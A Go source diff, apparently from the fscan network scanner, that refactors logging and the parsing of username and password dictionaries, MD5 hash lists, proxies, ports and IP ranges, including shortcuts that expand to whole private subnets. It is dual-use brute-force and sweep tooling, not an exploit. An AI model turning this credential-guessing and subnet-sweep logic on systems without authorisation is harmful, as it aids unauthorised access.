seconds := int(elapsed.Seconds()) % 60
timeStr = fmt.Sprintf("%dm%ds", minutes, seconds)
default:
// 小时、分钟和秒显示
hours := int(elapsed.Hours())
minutes := int(elapsed.Minutes()) % 60
seconds := int(elapsed.Seconds()) % 60
timeStr = fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds)
}
str := " "
switch entry.Level {
case LogLevelSuccess:
str = "[+]"
case LogLevelInfo:
str = "[*]"
case LogLevelError:
str = "[-]"
}
return fmt.Sprintf("[%s] %s %s", timeStr, str, entry.Content)
} }
// printLog 根据日志级别打印日志 // printLog 根据日志级别打印日志
func printLog(entry *LogEntry) { func printLog(entry *LogEntry) {
// 根据当前设置的日志级别过滤日志 if LogLevel != "debug" && (entry.Level == LogLevelDebug || entry.Level == LogLevelError) {
shouldPrint := false
switch LogLevel {
case LogLevelDebug:
// DEBUG级别显示所有日志
shouldPrint = true
case LogLevelError:
// ERROR级别显示 ERROR、SUCCESS、INFO
shouldPrint = entry.Level == LogLevelError ||
entry.Level == LogLevelSuccess ||
entry.Level == LogLevelInfo
case LogLevelSuccess:
// SUCCESS级别显示 SUCCESS、INFO
shouldPrint = entry.Level == LogLevelSuccess ||
entry.Level == LogLevelInfo
case LogLevelInfo:
// INFO级别只显示 INFO
shouldPrint = entry.Level == LogLevelInfo
case LogLevelAll:
// ALL显示所有日志
shouldPrint = true
default:
// 默认只显示 INFO
shouldPrint = entry.Level == LogLevelInfo
}
if !shouldPrint {
return return
} }
@ -122,8 +132,10 @@ func printLog(entry *LogEntry) {
fmt.Println(logMsg) fmt.Println(logMsg)
} }
// 等待日志输出完成 // 根据慢速输出设置决定是否添加延迟
time.Sleep(50 * time.Millisecond) if SlowLogOutput {
time.Sleep(50 * time.Millisecond)
}
// 重新显示进度条 // 重新显示进度条
if ProgressBar != nil { if ProgressBar != nil {
@ -139,6 +151,64 @@ func clearAndWaitProgress() {
} }
} }
// handleLog 统一处理日志的输出
func handleLog(entry *LogEntry) {
if ProgressBar != nil {
ProgressBar.Clear()
}
printLog(entry)
if ProgressBar != nil {
ProgressBar.RenderBlank()
}
}
// LogDebug 记录调试日志
func LogDebug(msg string) {
handleLog(&LogEntry{
Level: LogLevelDebug,
Time: time.Now(),
Content: msg,
})
}
// LogBase 记录进度信息
func LogBase(msg string) {
handleLog(&LogEntry{
Level: LogLevelBase,
Time: time.Now(),
Content: msg,
})
}
// LogInfo 记录信息日志
// [*]
func LogInfo(msg string) {
handleLog(&LogEntry{
Level: LogLevelInfo,
Time: time.Now(),
Content: msg,
})
}
// LogSuccess 记录成功日志,并更新最后成功时间
// [+]
func LogSuccess(result string) {
entry := &LogEntry{
Level: LogLevelSuccess,
Time: time.Now(),
Content: result,
}
handleLog(entry)
// 更新最后成功时间
status.mu.Lock()
status.lastSuccess = time.Now()
status.mu.Unlock()
}
// LogError 记录错误日志,自动包含文件名和行号信息 // LogError 记录错误日志,自动包含文件名和行号信息
func LogError(errMsg string) { func LogError(errMsg string) {
// 获取调用者的文件名和行号 // 获取调用者的文件名和行号
@ -160,53 +230,6 @@ func LogError(errMsg string) {
handleLog(entry) handleLog(entry)
} }
// handleLog 统一处理日志的输出
func handleLog(entry *LogEntry) {
if ProgressBar != nil {
ProgressBar.Clear()
}
printLog(entry)
if ProgressBar != nil {
ProgressBar.RenderBlank()
}
}
// LogInfo 记录信息日志
func LogInfo(msg string) {
handleLog(&LogEntry{
Level: LogLevelInfo,
Time: time.Now(),
Content: msg,
})
}
// LogSuccess 记录成功日志,并更新最后成功时间
func LogSuccess(result string) {
entry := &LogEntry{
Level: LogLevelSuccess,
Time: time.Now(),
Content: result,
}
handleLog(entry)
// 更新最后成功时间
status.mu.Lock()
status.lastSuccess = time.Now()
status.mu.Unlock()
}
// LogDebug 记录调试日志
func LogDebug(msg string) {
handleLog(&LogEntry{
Level: LogLevelDebug,
Time: time.Now(),
Content: msg,
})
}
// CheckErrs 检查是否为需要重试的错误 // CheckErrs 检查是否为需要重试的错误
func CheckErrs(err error) error { func CheckErrs(err error) error {
if err == nil { if err == nil {
@ -229,7 +252,7 @@ func CheckErrs(err error) error {
errLower := strings.ToLower(err.Error()) errLower := strings.ToLower(err.Error())
for _, key := range errs { for _, key := range errs {
if strings.Contains(errLower, strings.ToLower(key)) { if strings.Contains(errLower, strings.ToLower(key)) {
time.Sleep(3 * time.Second) time.Sleep(1 * time.Second)
return err return err
} }
} }

View File

@ -67,6 +67,18 @@ func InitOutput() error {
return fmt.Errorf(GetText("output_create_dir_failed", err)) return fmt.Errorf(GetText("output_create_dir_failed", err))
} }
if ApiAddr != "" {
OutputFormat = "csv"
Outputfile = filepath.Join(dir, "fscanapi.csv")
Num = 0
End = 0
if _, err := os.Stat(Outputfile); err == nil {
if err := os.Remove(Outputfile); err != nil {
return fmt.Errorf(GetText("output_file_remove_failed", err))
}
}
}
manager := &OutputManager{ manager := &OutputManager{
outputPath: Outputfile, outputPath: Outputfile,
outputFormat: OutputFormat, outputFormat: OutputFormat,
@ -135,6 +147,17 @@ func SaveResult(result *ScanResult) error {
LogDebug(GetText("output_saving_result", result.Type, result.Target)) LogDebug(GetText("output_saving_result", result.Type, result.Target))
return ResultOutput.saveResult(result) return ResultOutput.saveResult(result)
} }
func GetResults() ([]*ScanResult, error) {
if ResultOutput == nil {
return nil, fmt.Errorf(GetText("output_not_init"))
}
if ResultOutput.outputFormat == "csv" {
return ResultOutput.getResult()
}
// 其他格式尚未实现读取支持
return nil, fmt.Errorf(GetText("output_format_read_not_supported"))
}
func (om *OutputManager) saveResult(result *ScanResult) error { func (om *OutputManager) saveResult(result *ScanResult) error {
om.mu.Lock() om.mu.Lock()
@ -165,6 +188,62 @@ func (om *OutputManager) saveResult(result *ScanResult) error {
} }
return err return err
} }
func (om *OutputManager) getResult() ([]*ScanResult, error) {
om.mu.Lock()
defer om.mu.Unlock()
if !om.isInitialized {
LogDebug(GetText("output_not_init"))
return nil, fmt.Errorf(GetText("output_not_init"))
}
file, err := os.Open(om.outputPath)
if err != nil {
LogDebug(GetText("output_open_file_failed", err))
return nil, err
}
defer file.Close()
reader := csv.NewReader(file)
records, err := reader.ReadAll()
if err != nil {
LogDebug(GetText("output_read_csv_failed", err))
return nil, err
}
var results []*ScanResult
for i, row := range records {
// 跳过 CSV 头部
if i == 0 {
continue
}
if len(row) < 5 {
continue // 数据不完整
}
t, err := time.Parse("2006-01-02 15:04:05", row[0])
if err != nil {
continue
}
var details map[string]interface{}
if err := json.Unmarshal([]byte(row[4]), &details); err != nil {
details = make(map[string]interface{})
}
result := &ScanResult{
Time: t,
Type: ResultType(row[1]),
Target: row[2],
Status: row[3],
Details: details,
}
results = append(results, result)
}
LogDebug(GetText("output_read_csv_success", len(results)))
return results, nil
}
func (om *OutputManager) writeTxt(result *ScanResult) error { func (om *OutputManager) writeTxt(result *ScanResult) error {
// 格式化 Details 为键值对字符串 // 格式化 Details 为键值对字符串

View File

@ -10,51 +10,63 @@ import (
"strings" "strings"
) )
// Parse 配置解析的总入口函数
// 协调调用各解析子函数,完成完整的配置处理流程
func Parse(Info *HostInfo) error { func Parse(Info *HostInfo) error {
ParseUser() // 按照依赖顺序解析各类配置
ParsePass(Info) if err := ParseUser(); err != nil {
if err := ParseInput(Info); err != nil { return fmt.Errorf("用户名解析错误: %v", err)
return err
} }
if err := ParsePass(Info); err != nil {
return fmt.Errorf("密码与目标解析错误: %v", err)
}
if err := ParseInput(Info); err != nil {
return fmt.Errorf("输入参数解析错误: %v", err)
}
return nil return nil
} }
// ParseUser 解析用户名配置 // ParseUser 解析用户名配置
// 处理直接指定的用户名和从文件加载的用户名,更新全局用户字典
func ParseUser() error { func ParseUser() error {
// 如果未指定用户名和用户名文件,直接返回 // 如果未指定用户名和用户名文件,无需处理
if Username == "" && UsersFile == "" { if Username == "" && UsersFile == "" {
return nil return nil
} }
// 收集所有用户名
var usernames []string var usernames []string
// 处理直接指定的用户名列表 // 处理命令行参数指定的用户名列表
if Username != "" { if Username != "" {
usernames = strings.Split(Username, ",") usernames = strings.Split(Username, ",")
LogInfo(GetText("no_username_specified", len(usernames))) LogBase(GetText("no_username_specified", len(usernames)))
} }
// 从文件加载用户名列表 // 从文件加载用户名列表
if UsersFile != "" { if UsersFile != "" {
users, err := Readfile(UsersFile) fileUsers, err := ReadFileLines(UsersFile)
if err != nil { if err != nil {
return fmt.Errorf("读取用户名文件失败: %v", err) return fmt.Errorf("读取用户名文件失败: %v", err)
} }
// 过滤空用户名 // 添加非空用户名
for _, user := range users { for _, user := range fileUsers {
if user != "" { if user != "" {
usernames = append(usernames, user) usernames = append(usernames, user)
} }
} }
LogInfo(GetText("load_usernames_from_file", len(users))) LogBase(GetText("load_usernames_from_file", len(fileUsers)))
} }
// 去重处理 // 去重处理
usernames = RemoveDuplicate(usernames) usernames = RemoveDuplicate(usernames)
LogInfo(GetText("total_usernames", len(usernames))) LogBase(GetText("total_usernames", len(usernames)))
// 更新用户字典 // 更新所有字典的用户名列表
for name := range Userdict { for name := range Userdict {
Userdict[name] = usernames Userdict[name] = usernames
} }
@ -62,10 +74,37 @@ func ParseUser() error {
return nil return nil
} }
// ParsePass 解析密码、哈希值、URL和端口配置 // ParsePass 解析密码、URL、主机和端口等目标配置
// 处理多种输入源的配置,并更新全局目标信息
func ParsePass(Info *HostInfo) error { func ParsePass(Info *HostInfo) error {
// 处理直接指定的密码列表 // 处理密码配置
parsePasswords()
// 处理哈希值配置
parseHashes()
// 处理URL配置
parseURLs()
// 处理主机配置
if err := parseHosts(Info); err != nil {
return err
}
// 处理端口配置
if err := parsePorts(); err != nil {
return err
}
return nil
}
// parsePasswords 解析密码配置
// 处理直接指定的密码和从文件加载的密码
func parsePasswords() {
var pwdList []string var pwdList []string
// 处理命令行参数指定的密码列表
if Password != "" { if Password != "" {
passes := strings.Split(Password, ",") passes := strings.Split(Password, ",")
for _, pass := range passes { for _, pass := range passes {
@ -74,126 +113,181 @@ func ParsePass(Info *HostInfo) error {
} }
} }
Passwords = pwdList Passwords = pwdList
LogInfo(GetText("load_passwords", len(pwdList))) LogBase(GetText("load_passwords", len(pwdList)))
} }
// 从文件加载密码列表 // 从文件加载密码列表
if PasswordsFile != "" { if PasswordsFile != "" {
passes, err := Readfile(PasswordsFile) passes, err := ReadFileLines(PasswordsFile)
if err != nil { if err != nil {
return fmt.Errorf("读取密码文件失败: %v", err) LogError(fmt.Sprintf("读取密码文件失败: %v", err))
return
} }
for _, pass := range passes { for _, pass := range passes {
if pass != "" { if pass != "" {
pwdList = append(pwdList, pass) pwdList = append(pwdList, pass)
} }
} }
Passwords = pwdList Passwords = pwdList
LogInfo(GetText("load_passwords_from_file", len(passes))) LogBase(GetText("load_passwords_from_file", len(passes)))
} }
}
// parseHashes 解析哈希值配置
// 验证并处理哈希文件中的哈希值
func parseHashes() {
// 处理哈希文件 // 处理哈希文件
if HashFile != "" { if HashFile == "" {
hashes, err := Readfile(HashFile) return
if err != nil {
return fmt.Errorf("读取哈希文件失败: %v", err)
}
validCount := 0
for _, line := range hashes {
if line == "" {
continue
}
if len(line) == 32 {
HashValues = append(HashValues, line)
validCount++
} else {
LogError(GetText("invalid_hash", line))
}
}
LogInfo(GetText("load_valid_hashes", validCount))
} }
// 处理直接指定的URL列表 hashes, err := ReadFileLines(HashFile)
if err != nil {
LogError(fmt.Sprintf("读取哈希文件失败: %v", err))
return
}
validCount := 0
for _, line := range hashes {
if line == "" {
continue
}
// 验证哈希长度(MD5哈希为32位)
if len(line) == 32 {
HashValues = append(HashValues, line)
validCount++
} else {
LogError(GetText("invalid_hash", line))
}
}
LogBase(GetText("load_valid_hashes", validCount))
}
// parseURLs 解析URL目标配置
// 处理命令行和文件指定的URL列表去重后更新全局URL列表
func parseURLs() {
urlMap := make(map[string]struct{})
// 处理命令行参数指定的URL列表
if TargetURL != "" { if TargetURL != "" {
urls := strings.Split(TargetURL, ",") urls := strings.Split(TargetURL, ",")
tmpUrls := make(map[string]struct{})
for _, url := range urls { for _, url := range urls {
if url != "" { if url != "" {
if _, ok := tmpUrls[url]; !ok { urlMap[url] = struct{}{}
tmpUrls[url] = struct{}{}
URLs = append(URLs, url)
}
} }
} }
LogInfo(GetText("load_urls", len(URLs)))
} }
// 从文件加载URL列表 // 从文件加载URL列表
if URLsFile != "" { if URLsFile != "" {
urls, err := Readfile(URLsFile) urls, err := ReadFileLines(URLsFile)
if err != nil { if err != nil {
return fmt.Errorf("读取URL文件失败: %v", err) LogError(fmt.Sprintf("读取URL文件失败: %v", err))
return
} }
tmpUrls := make(map[string]struct{})
for _, url := range urls { for _, url := range urls {
if url != "" { if url != "" {
if _, ok := tmpUrls[url]; !ok { urlMap[url] = struct{}{}
tmpUrls[url] = struct{}{}
URLs = append(URLs, url)
}
} }
} }
LogInfo(GetText("load_urls_from_file", len(urls)))
} }
// 从文件加载主机列表 // 更新全局URL列表(已去重)
if HostsFile != "" { URLs = make([]string, 0, len(urlMap))
hosts, err := Readfile(HostsFile) for u := range urlMap {
if err != nil { URLs = append(URLs, u)
return fmt.Errorf("读取主机文件失败: %v", err)
}
tmpHosts := make(map[string]struct{})
for _, host := range hosts {
if host != "" {
if _, ok := tmpHosts[host]; !ok {
tmpHosts[host] = struct{}{}
if Info.Host == "" {
Info.Host = host
} else {
Info.Host += "," + host
}
}
}
}
LogInfo(GetText("load_hosts_from_file", len(hosts)))
} }
// 从文件加载端口列表 if len(URLs) > 0 {
if PortsFile != "" { LogBase(GetText("load_urls", len(URLs)))
ports, err := Readfile(PortsFile) }
if err != nil { }
return fmt.Errorf("读取端口文件失败: %v", err)
// parseHosts 解析主机配置
// 从文件加载主机列表并更新目标信息
func parseHosts(Info *HostInfo) error {
// 如果未指定主机文件,无需处理
if HostsFile == "" {
return nil
}
hosts, err := ReadFileLines(HostsFile)
if err != nil {
return fmt.Errorf("读取主机文件失败: %v", err)
}
// 去重处理
hostMap := make(map[string]struct{})
for _, host := range hosts {
if host != "" {
hostMap[host] = struct{}{}
}
}
// 构建主机列表并更新Info.Host
if len(hostMap) > 0 {
var hostList []string
for host := range hostMap {
hostList = append(hostList, host)
} }
var newport strings.Builder hostStr := strings.Join(hostList, ",")
for _, port := range ports { if Info.Host == "" {
if port != "" { Info.Host = hostStr
newport.WriteString(port) } else {
newport.WriteString(",") Info.Host += "," + hostStr
}
} }
Ports = newport.String()
LogInfo(GetText("load_ports_from_file")) LogBase(GetText("load_hosts_from_file", len(hosts)))
} }
return nil return nil
} }
// Readfile 读取文件内容并返回非空行的切片 // parsePorts 解析端口配置
func Readfile(filename string) ([]string, error) { // 从文件加载端口列表并更新全局端口配置
func parsePorts() error {
// 如果未指定端口文件,无需处理
if PortsFile == "" {
return nil
}
ports, err := ReadFileLines(PortsFile)
if err != nil {
return fmt.Errorf("读取端口文件失败: %v", err)
}
// 构建端口列表字符串
var portBuilder strings.Builder
for _, port := range ports {
if port != "" {
portBuilder.WriteString(port)
portBuilder.WriteString(",")
}
}
// 更新全局端口配置
Ports = portBuilder.String()
LogBase(GetText("load_ports_from_file"))
return nil
}
// parseExcludePorts 解析排除端口配置
// 更新全局排除端口配置
func parseExcludePorts() {
if ExcludePorts != "" {
LogBase(GetText("exclude_ports", ExcludePorts))
// 确保排除端口被正确设置到全局配置中
// 这将由PortScan函数在处理端口时使用
}
}
// ReadFileLines 读取文件内容并返回非空行的切片
// 通用的文件读取函数,处理文件打开、读取和错误报告
func ReadFileLines(filename string) ([]string, error) {
// 打开文件 // 打开文件
file, err := os.Open(filename) file, err := os.Open(filename)
if err != nil { if err != nil {
@ -206,7 +300,7 @@ func Readfile(filename string) ([]string, error) {
scanner := bufio.NewScanner(file) scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines) scanner.Split(bufio.ScanLines)
// 逐行读取文件内容 // 逐行读取文件内容,忽略空行
lineCount := 0 lineCount := 0
for scanner.Scan() { for scanner.Scan() {
text := strings.TrimSpace(scanner.Text()) text := strings.TrimSpace(scanner.Text())
@ -222,24 +316,56 @@ func Readfile(filename string) ([]string, error) {
return nil, err return nil, err
} }
LogInfo(GetText("read_file_success", filename, lineCount)) LogBase(GetText("read_file_success", filename, lineCount))
return content, nil return content, nil
} }
// ParseInput 解析和验证输入参数配置 // ParseInput 解析和验证输入参数配置
// 处理多种配置的冲突检查、格式验证和参数处理
func ParseInput(Info *HostInfo) error { func ParseInput(Info *HostInfo) error {
// 检查互斥的扫描模式 // 检查扫描模式冲突
if err := validateScanMode(Info); err != nil {
return err
}
// 处理端口配置组合
processPortsConfig()
// 处理排除端口配置
parseExcludePorts()
// 处理额外用户名和密码
processExtraCredentials()
// 处理代理配置
if err := processProxySettings(); err != nil {
return err
}
// 处理哈希值
if err := processHashValues(); err != nil {
return err
}
return nil
}
// validateScanMode 验证扫描模式
// 检查互斥的扫描模式配置,避免参数冲突
func validateScanMode(Info *HostInfo) error {
// 检查互斥的扫描模式(主机扫描、URL扫描、本地模式)
modes := 0 modes := 0
if Info.Host != "" || HostsFile != "" { if Info.Host != "" || HostsFile != "" {
modes++ modes++
} }
if TargetURL != "" || URLsFile != "" { if len(URLs) > 0 || TargetURL != "" || URLsFile != "" {
modes++ modes++
} }
if LocalMode { if LocalMode {
modes++ modes++
} }
// 处理扫描模式验证结果
if modes == 0 { if modes == 0 {
// 无参数时显示帮助 // 无参数时显示帮助
flag.Usage() flag.Usage()
@ -248,97 +374,152 @@ func ParseInput(Info *HostInfo) error {
return fmt.Errorf(GetText("params_conflict")) return fmt.Errorf(GetText("params_conflict"))
} }
// 处理爆破线程配置 return nil
if BruteThreads <= 0 { }
BruteThreads = 1
LogInfo(GetText("brute_threads", BruteThreads))
}
// 处理端口配置 // processPortsConfig 处理端口配置
// 合并默认端口和附加端口配置
func processPortsConfig() {
// 如果使用主要端口添加Web端口
if Ports == MainPorts { if Ports == MainPorts {
Ports += "," + WebPorts Ports += "," + WebPorts
} }
// 处理附加端口
if AddPorts != "" { if AddPorts != "" {
if strings.HasSuffix(Ports, ",") { if strings.HasSuffix(Ports, ",") {
Ports += AddPorts Ports += AddPorts
} else { } else {
Ports += "," + AddPorts Ports += "," + AddPorts
} }
LogInfo(GetText("extra_ports", AddPorts)) LogBase(GetText("extra_ports", AddPorts))
} }
// 处理用户名配置 // 确保排除端口配置被记录
if ExcludePorts != "" {
LogBase(GetText("exclude_ports_applied", ExcludePorts))
}
}
// processExtraCredentials 处理额外的用户名和密码
// 添加命令行指定的额外用户名和密码到现有配置
func processExtraCredentials() {
// 处理额外用户名
if AddUsers != "" { if AddUsers != "" {
users := strings.Split(AddUsers, ",") users := strings.Split(AddUsers, ",")
for dict := range Userdict { for dict := range Userdict {
Userdict[dict] = append(Userdict[dict], users...) Userdict[dict] = append(Userdict[dict], users...)
Userdict[dict] = RemoveDuplicate(Userdict[dict]) Userdict[dict] = RemoveDuplicate(Userdict[dict])
} }
LogInfo(GetText("extra_usernames", AddUsers)) LogBase(GetText("extra_usernames", AddUsers))
} }
// 处理密码配置 // 处理额外密码
if AddPasswords != "" { if AddPasswords != "" {
passes := strings.Split(AddPasswords, ",") passes := strings.Split(AddPasswords, ",")
Passwords = append(Passwords, passes...) Passwords = append(Passwords, passes...)
Passwords = RemoveDuplicate(Passwords) Passwords = RemoveDuplicate(Passwords)
LogInfo(GetText("extra_passwords", AddPasswords)) LogBase(GetText("extra_passwords", AddPasswords))
} }
}
// 处理Socks5代理配置 // processProxySettings 处理代理设置
// 解析并验证Socks5和HTTP代理配置
func processProxySettings() error {
// 处理Socks5代理
if Socks5Proxy != "" { if Socks5Proxy != "" {
if !strings.HasPrefix(Socks5Proxy, "socks5://") { if err := setupSocks5Proxy(); err != nil {
if !strings.Contains(Socks5Proxy, ":") { return err
Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy
} else {
Socks5Proxy = "socks5://" + Socks5Proxy
}
} }
_, err := url.Parse(Socks5Proxy)
if err != nil {
return fmt.Errorf(GetText("socks5_proxy_error", err))
}
DisablePing = true
LogInfo(GetText("socks5_proxy", Socks5Proxy))
} }
// 处理HTTP代理配置 // 处理HTTP代理
if HttpProxy != "" { if HttpProxy != "" {
switch HttpProxy { if err := setupHttpProxy(); err != nil {
case "1": return err
HttpProxy = "http://127.0.0.1:8080"
case "2":
HttpProxy = "socks5://127.0.0.1:1080"
default:
if !strings.Contains(HttpProxy, "://") {
HttpProxy = "http://127.0.0.1:" + HttpProxy
}
} }
if !strings.HasPrefix(HttpProxy, "socks") && !strings.HasPrefix(HttpProxy, "http") {
return fmt.Errorf(GetText("unsupported_proxy"))
}
_, err := url.Parse(HttpProxy)
if err != nil {
return fmt.Errorf(GetText("proxy_format_error", err))
}
LogInfo(GetText("http_proxy", HttpProxy))
} }
// 处理Hash配置 return nil
}
// setupSocks5Proxy 设置Socks5代理
// 格式化和验证Socks5代理URL
func setupSocks5Proxy() error {
// 规范化Socks5代理URL格式
if !strings.HasPrefix(Socks5Proxy, "socks5://") {
if !strings.Contains(Socks5Proxy, ":") {
// 仅指定端口时使用本地地址
Socks5Proxy = "socks5://127.0.0.1:" + Socks5Proxy
} else {
// 指定IP:PORT时添加协议前缀
Socks5Proxy = "socks5://" + Socks5Proxy
}
}
// 验证代理URL格式
_, err := url.Parse(Socks5Proxy)
if err != nil {
return fmt.Errorf(GetText("socks5_proxy_error", err))
}
// 使用Socks5代理时禁用Ping(无法通过代理进行ICMP)
DisablePing = true
LogBase(GetText("socks5_proxy", Socks5Proxy))
return nil
}
// setupHttpProxy 设置HTTP代理
// 处理多种HTTP代理简写形式并验证URL格式
func setupHttpProxy() error {
// 处理HTTP代理简写形式
switch HttpProxy {
case "1":
// 快捷方式1: 本地8080端口(常用代理工具默认端口)
HttpProxy = "http://127.0.0.1:8080"
case "2":
// 快捷方式2: 本地1080端口(常见SOCKS端口)
HttpProxy = "socks5://127.0.0.1:1080"
default:
// 仅指定端口时使用本地HTTP代理
if !strings.Contains(HttpProxy, "://") {
HttpProxy = "http://127.0.0.1:" + HttpProxy
}
}
// 验证代理协议
if !strings.HasPrefix(HttpProxy, "socks") && !strings.HasPrefix(HttpProxy, "http") {
return fmt.Errorf(GetText("unsupported_proxy"))
}
// 验证代理URL格式
_, err := url.Parse(HttpProxy)
if err != nil {
return fmt.Errorf(GetText("proxy_format_error", err))
}
LogBase(GetText("http_proxy", HttpProxy))
return nil
}
// processHashValues 处理哈希值
// 验证单个哈希值并处理哈希列表
func processHashValues() error {
// 处理单个哈希值
if HashValue != "" { if HashValue != "" {
// MD5哈希必须是32位十六进制字符
if len(HashValue) != 32 { if len(HashValue) != 32 {
return fmt.Errorf(GetText("hash_length_error")) return fmt.Errorf(GetText("hash_length_error"))
} }
HashValues = append(HashValues, HashValue) HashValues = append(HashValues, HashValue)
} }
// 处理Hash列表 // 处理哈希值列表
HashValues = RemoveDuplicate(HashValues) HashValues = RemoveDuplicate(HashValues)
for _, hash := range HashValues { for _, hash := range HashValues {
// 将十六进制字符串转换为字节数组
hashByte, err := hex.DecodeString(hash) hashByte, err := hex.DecodeString(hash)
if err != nil { if err != nil {
LogError(GetText("hash_decode_failed", hash)) LogError(GetText("hash_decode_failed", hash))
@ -346,7 +527,24 @@ func ParseInput(Info *HostInfo) error {
} }
HashBytes = append(HashBytes, hashByte) HashBytes = append(HashBytes, hashByte)
} }
// 清空原始哈希值列表,仅保留字节形式
HashValues = []string{} HashValues = []string{}
return nil return nil
} }
// RemoveDuplicate 对字符串切片进行去重
func RemoveDuplicate(old []string) []string {
temp := make(map[string]struct{})
var result []string
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}

View File

@ -13,216 +13,397 @@ import (
"strings" "strings"
) )
var ParseIPErr = errors.New(GetText("parse_ip_error")) // IP解析相关错误
var (
ErrParseIP = errors.New(GetText("parse_ip_error")) // IP解析失败的统一错误
)
// ParseIP 解析IP地址配置 // ParseIP 解析各种格式的IP地址
// 参数:
// - host: 主机地址可以是单个IP、IP范围、CIDR或常用网段简写
// - filename: 包含主机地址的文件名
// - nohosts: 需要排除的主机地址列表
//
// 返回:
// - []string: 解析后的IP地址列表
// - error: 解析过程中的错误
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) { func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
// 处理主机和端口组合的情况 // 处理主机和端口组合的情况 (格式: IP:PORT)
if filename == "" && strings.Contains(host, ":") { if filename == "" && strings.Contains(host, ":") {
hostport := strings.Split(host, ":") hostport := strings.Split(host, ":")
if len(hostport) == 2 { if len(hostport) == 2 {
host = hostport[0] host = hostport[0]
hosts = ParseIPs(host) hosts = parseIPList(host)
Ports = hostport[1] Ports = hostport[1]
LogInfo(GetText("host_port_parsed", Ports)) LogBase(GetText("host_port_parsed", Ports))
} }
} else { } else {
// 解析主机地址 // 解析主机地址
hosts = ParseIPs(host) hosts = parseIPList(host)
// 从文件加载额外主机 // 从文件加载额外主机
if filename != "" { if filename != "" {
fileHosts, err := Readipfile(filename) fileHosts, err := readIPFile(filename)
if err != nil { if err != nil {
LogError(GetText("read_host_file_failed", err)) LogError(GetText("read_host_file_failed", err))
} else { } else {
hosts = append(hosts, fileHosts...) hosts = append(hosts, fileHosts...)
LogInfo(GetText("extra_hosts_loaded", len(fileHosts))) LogBase(GetText("extra_hosts_loaded", len(fileHosts)))
} }
} }
} }
// 处理排除主机 // 处理需要排除的主机
if len(nohosts) > 0 && nohosts[0] != "" { hosts = excludeHosts(hosts, nohosts)
excludeHosts := ParseIPs(nohosts[0])
if len(excludeHosts) > 0 {
// 使用map存储有效主机
temp := make(map[string]struct{})
for _, host := range hosts {
temp[host] = struct{}{}
}
// 删除需要排除的主机 // 去重并排序
for _, host := range excludeHosts { hosts = removeDuplicateIPs(hosts)
delete(temp, host) LogBase(GetText("final_valid_hosts", len(hosts)))
}
// 重建主机列表
var newHosts []string
for host := range temp {
newHosts = append(newHosts, host)
}
hosts = newHosts
sort.Strings(hosts)
LogInfo(GetText("hosts_excluded", len(excludeHosts)))
}
}
// 去重处理
hosts = RemoveDuplicate(hosts)
LogInfo(GetText("final_valid_hosts", len(hosts)))
// 检查解析结果 // 检查解析结果
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") { if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
return nil, ParseIPErr return nil, ErrParseIP
} }
return hosts, nil return hosts, nil
} }
func ParseIPs(ip string) (hosts []string) { // parseIPList 解析逗号分隔的IP地址列表
if strings.Contains(ip, ",") { // 参数:
IPList := strings.Split(ip, ",") // - ipList: 逗号分隔的IP地址列表字符串
var ips []string //
for _, ip := range IPList { // 返回:
ips = parseIP(ip) // - []string: 解析后的IP地址列表
hosts = append(hosts, ips...) func parseIPList(ipList string) []string {
var result []string
// 处理逗号分隔的IP列表
if strings.Contains(ipList, ",") {
ips := strings.Split(ipList, ",")
for _, ip := range ips {
if parsed := parseSingleIP(ip); len(parsed) > 0 {
result = append(result, parsed...)
}
} }
} else { } else if ipList != "" {
hosts = parseIP(ip) // 解析单个IP地址或范围
result = parseSingleIP(ipList)
} }
return hosts
return result
} }
func parseIP(ip string) []string { // parseSingleIP 解析单个IP地址或IP范围
reg := regexp.MustCompile(`[a-zA-Z]+`) // 支持多种格式:
// - 普通IP: 192.168.1.1
// - 简写网段: 192, 172, 10
// - CIDR: 192.168.0.0/24
// - 范围: 192.168.1.1-192.168.1.100 或 192.168.1.1-100
// - 域名: example.com
// 参数:
// - ip: IP地址或范围字符串
//
// 返回:
// - []string: 解析后的IP地址列表
func parseSingleIP(ip string) []string {
// 检测是否包含字母(可能是域名)
isAlpha := regexp.MustCompile(`[a-zA-Z]+`).MatchString(ip)
// 根据不同格式解析IP
switch { switch {
case ip == "192": case ip == "192":
return parseIP("192.168.0.0/16") // 常用内网段简写
return parseSingleIP("192.168.0.0/16")
case ip == "172": case ip == "172":
return parseIP("172.16.0.0/12") // 常用内网段简写
return parseSingleIP("172.16.0.0/12")
case ip == "10": case ip == "10":
return parseIP("10.0.0.0/8") // 常用内网段简写
return parseSingleIP("10.0.0.0/8")
case strings.HasSuffix(ip, "/8"): case strings.HasSuffix(ip, "/8"):
return parseIP8(ip) // 处理/8网段使用采样方式
return parseSubnet8(ip)
case strings.Contains(ip, "/"): case strings.Contains(ip, "/"):
return parseIP2(ip) // 处理CIDR格式
case reg.MatchString(ip): return parseCIDR(ip)
case isAlpha:
// 处理域名,直接返回
return []string{ip} return []string{ip}
case strings.Contains(ip, "-"): case strings.Contains(ip, "-"):
return parseIP1(ip) // 处理IP范围
return parseIPRange(ip)
default: default:
testIP := net.ParseIP(ip) // 尝试解析为单个IP地址
if testIP == nil { if testIP := net.ParseIP(ip); testIP != nil {
LogError(GetText("invalid_ip_format", ip)) return []string{ip}
return nil
} }
return []string{ip} LogError(GetText("invalid_ip_format", ip))
return nil
} }
} }
// parseIP2 解析CIDR格式的IP地址段 // parseCIDR 解析CIDR格式的IP地址段
func parseIP2(host string) []string { // 例如: 192.168.1.0/24
_, ipNet, err := net.ParseCIDR(host) // 参数:
// - cidr: CIDR格式的IP地址段
//
// 返回:
// - []string: 展开后的IP地址列表
func parseCIDR(cidr string) []string {
// 解析CIDR格式
_, ipNet, err := net.ParseCIDR(cidr)
if err != nil { if err != nil {
LogError(GetText("cidr_parse_failed", host, err)) LogError(GetText("cidr_parse_failed", cidr, err))
return nil return nil
} }
ipRange := IPRange(ipNet) // 转换为IP范围
hosts := parseIP1(ipRange) ipRange := calculateIPRange(ipNet)
LogInfo(GetText("parse_cidr_to_range", host, ipRange)) hosts := parseIPRange(ipRange)
LogBase(GetText("parse_cidr_to_range", cidr, ipRange))
return hosts return hosts
} }
